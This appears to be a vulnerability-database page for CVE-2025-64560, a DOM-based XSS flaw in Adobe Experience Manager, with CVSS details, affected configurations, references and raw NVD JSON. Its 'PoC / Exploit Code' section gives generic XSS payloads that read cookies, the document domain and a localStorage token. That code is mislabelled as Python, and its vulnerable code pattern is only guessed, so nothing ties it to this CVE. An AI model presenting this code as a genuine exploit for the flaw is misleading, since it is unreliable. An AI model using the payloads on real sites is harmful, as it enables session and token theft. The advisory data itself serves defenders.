CVE-2025-64560

Description

Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:* - VULNERABLE

Adobe Experience Manager 6.5.23 及之前所有版本

AEM Cloud Service (需确认官方补丁状态)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-64560 PoC - Adobe Experience Manager DOM-based XSS
// This PoC demonstrates how an attacker could exploit the DOM XSS vulnerability
// by injecting malicious JavaScript through URL parameters

// Attack vector: Crafted URL with XSS payload
const attackUrl = "https://vulnerable-aem-instance.com/content/page.html?param=<script>alert(document.cookie)</script>";

// Alternative attack vectors using different injection points
const attackVectors = [
    // Query parameter injection
    "?search=<img src=x onerror=alert(document.domain)>",
    // Hash-based injection (common in SPA applications)
    "#<svg/onload=alert(localStorage.getItem('aem_token'))>",
    // Event handler injection
    "?ref=<body onload=alert(document.cookie)>",
    // Data URI injection
    "?data=<a href='javascript:alert(1)'>click</a>"
];

// Example of vulnerable client-side code pattern (what attacker targets)
// This is what the vulnerable AEM frontend might look like:
/*
function processUserInput() {
    const params = new URLSearchParams(window.location.search);
    const userInput = params.get('param');
    
    // VULNERABLE: Direct DOM injection without sanitization
    document.getElementById('output').innerHTML = userInput;
}
*/

// Automated PoC execution (for authorized security testing only)
function testXSS(url) {
    const testPayload = "<script>console.log('XSS Confirmed')</script>";
    const testUrl = url + "?test=" + encodeURIComponent(testPayload);
    
    console.log("Testing URL:", testUrl);
    console.log("If you see 'XSS Confirmed' in console, vulnerability exists");
    
    return testUrl;
}

// Mitigation check (verify if proper encoding is applied)
function checkMitigation() {
    const safeEncoding = {
        html: text => text.replace(/[&<>"]/g, c => ({
            '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;'
        })[c]),
        js: text => JSON.stringify(text).slice(1, -1),
        url: text => encodeURIComponent(text)
    };
    
    console.log("Proper encoding functions should be implemented");
    return safeEncoding;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64560
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64560
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64560/
[4] VulDB https://vuldb.com/cve/CVE-2025-64560
[5] https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64560", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:19.070", "lastModified": "2025-12-12T19:55:44.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}